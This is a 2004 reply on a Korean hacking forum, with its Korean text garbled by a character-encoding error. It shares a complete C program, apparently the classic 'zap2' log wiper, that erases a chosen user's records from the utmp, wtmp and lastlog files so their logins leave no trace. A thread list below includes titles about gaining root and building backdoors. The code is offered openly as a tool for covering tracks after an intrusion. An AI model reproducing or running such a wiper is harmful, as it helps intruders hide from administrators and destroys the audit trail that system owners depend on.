½Ã½ºÅÛ ÇØÅ·

 1574, 10/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   nsh009
   [re] ÇØÅ·¿¡¼­ ..·Î±×»èÁ¦¿¡ ´ëÇØ

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=229 [º¹»ç]


Á¦°¡ ¾´±ÛÀº ¾Æ´Ï±¸¿ä ±×¶§ ÇÁ·ç³ª¿¡¼­ ´Ù¿î ¹ÞÀº ¹®¼­ Àε¥ ¾Ë¾Æ¼­ Çؼ® Çؼ­ »ç¿ëÇϽñæ ;;; ´Ù¸¥°ÅÀϼöµµ ÀÕ¾î¿ä

·Î ±× Áö ¿ì ±â

/etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÑ´Ù. À̰͵éÀº ÅؽºÆ®
ÆÄÀÏÀÌ ¾Æ´Ï¶ó
¼­ vi·Î ÆíÁýÇÒ ¼ö ¾ø´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÑ´Ù.

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)


char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_R

DWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

  Hit : 3399     Date : 2004/07/04 04:11



    
    [re] ÇØÅ·¿¡¼­ ..·Î±×»èÁ¦¿¡ ´ëÇØ     nsh009
07/04 3398
1393   mysql root ±ÇÇÑÀ» ¶¤½À´Ï´Ù     nansith
07/05 4189
1392     [re] mysql root ±ÇÇÑÀ» ¶¤½À´Ï´Ù     unD3R
07/25 4654
1391   ÇØÅ· ±â¼úÀ» ¹è¿ì·Á´Âµ¥...[2]     ½ÒÀÚ·ç
07/07 5082
1390   ÀÌ°Å ¹®Á¦ ´äÀÌ ¹¹¿¹¿ä?[5]     kkoidoli
07/07 3766
1389   Ãʺ»µð¿©..[2]     jisoo2000
07/07 3816
1388   ½Ç½ÀÇغ¼·Á Çϴµ¥¿© ...(Ãʺ¸ Á»µµ¿ÍÁÖ¼¼¿ä _)[14]     wawer153
07/09 4412
1387   clone user by Adam     BHM
07/16 4396
1386   ³Ý¹ö½º¿¡°üÇѰǵ¥¿©.[1]     blrck
07/18 4340
1385   Ãʺ¸ ÀÔ´Ï´Ù..-_-°í¼ö ´ÔµéÇѹø ºÁÁÖ¼¼¿ä..[6]     confound00
07/18 4121
1384     [re] Ãʺ¸ ÀÔ´Ï´Ù..-_-°í¼ö ´ÔµéÇѹø ºÁÁÖ¼¼¿ä..     BHM
07/18 3452
1383   XMLÀ» º¸´Â ¹æ¹ý...?     jeesooo
07/22 5488
1382   ÇØÅ·Ãʺ¸Àε¥[10]     JJang777
07/23 5039
1381   root±ÇÇѾò´Â ¹ý[3]     JJang777
07/23 4117
1380   ¾Æ¿¹¸ð¸£°Ù¾î¿ä[5]     home494
07/24 3644
1379   ¹éµµ¾î ¾î¶»°Ô ¸¸µéÁÒ?[2]     unD3R
07/25 4355
1378   ³Ý¹ö½º°°Àº°ÍÀ» ´Ù¸¥ÇÁ·Î±×·¡¹ÖÀ¸·Î ¼öÁ¤ÇÒ¼ø¾ø³ª¿ä?[1]     ruo91
07/25 3815
1377   ÀÏ¹Ý À¥¼­¹ö°°Àº À©µµ¿ì¼­¹ö..[3]     ggh646
07/28 3948
1376   ¹ÙÀÌ·¯½ºÀΰ¡¿©..     jan9
07/29 3653
1375   ^D ´Â ¹«½¼Å°¸¦ ´­·¯¾ß ³ª¿À´Â°ÅÁ¶???[3]     boanerges
08/02 3837
[1][2][3][4][5][6][7][8][9] 10 ..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org